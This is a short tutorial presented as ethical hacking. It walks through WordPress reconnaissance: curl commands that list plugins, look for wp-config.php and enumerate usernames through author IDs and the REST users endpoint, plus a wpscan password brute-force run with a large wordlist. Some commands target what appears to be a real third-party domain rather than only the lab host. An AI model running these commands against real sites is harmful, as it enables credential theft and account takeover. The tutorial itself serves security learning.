WordPress BruteForce Vulnerabilities and Ethical Hacking

WordPress Security Vulnerabilities and Ethical Hacking

Introduction: WordPress is one of the most popular content management systems (CMS) in the world, used by many websites. However, due to its widespread use, WordPress sites are often targeted by attackers. As an ethical hacker, I aim to show you how to detect these vulnerabilities and how to enhance your security.

1. Detecting Security Vulnerabilities: Below, I explain how you can use various commands to detect common security vulnerabilities in WordPress sites.

  • Inspecting the Plugin Directory: To identify plugins installed on a specific WordPress site, you can use the following commandThis command shows the directory structure and files of the mail-masta plugin. It’s important to check if there are any vulnerabilities in the plugins.
curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text
  • Fetching Plugin and Theme Files: To identify the plugin and theme files on WordPress sites, you can use the following commands. This command lists the plugins on the site. Similarly, to fetch theme files
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

 

  • Fetching the wp-config.php File: The wp-config.php file is a critical configuration file in WordPress. It’s essential to check if this file can be retrieved from misconfigured sites:
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-config.php' | cut -d"'" -f2

2. Identifying User Information: Exposing user information can make it easier for an attacker to perform brute-force attacks. You can use the following commands to find out usernames:

curl -s -I -X GET http://ozanimport.com/?author=1
his command can be used to identify specific users. If the user does not exist, a 404 error will be returned; otherwise, you can discover the username.
3. Retrieving User Information via JSON Endpoint: In WordPress sites, user information can be retrieved via JSON endpoints:
curl http://ozanimport.com/wp-json/wp/v2/users | jq
This command returns usernames in JSON format, potentially enabling an attacker to perform brute-force attacks using this information.
4. Using WPSCAN for Security Testing: WPSCAN is a tool used to test the security of WordPress sites. For example:
wpscan --url http://blog.inlanefreight.com/ --usernames denemeadmin --passwords /usr/share/wordlists/10-million-password-list-top-1000000.txt

With this command, you can test weak passwords on the site and determine what security measures need to be taken to prevent attacks on usernames.

Conclusion: The methods mentioned above are tools for detecting common security vulnerabilities in WordPress sites. However, it is crucial to remember not to misuse this information. As an ethical hacker, you should use this knowledge solely to detect and close security gaps. When you identify such issues, you contribute to making the internet a safer place by reporting them to the site administrator.

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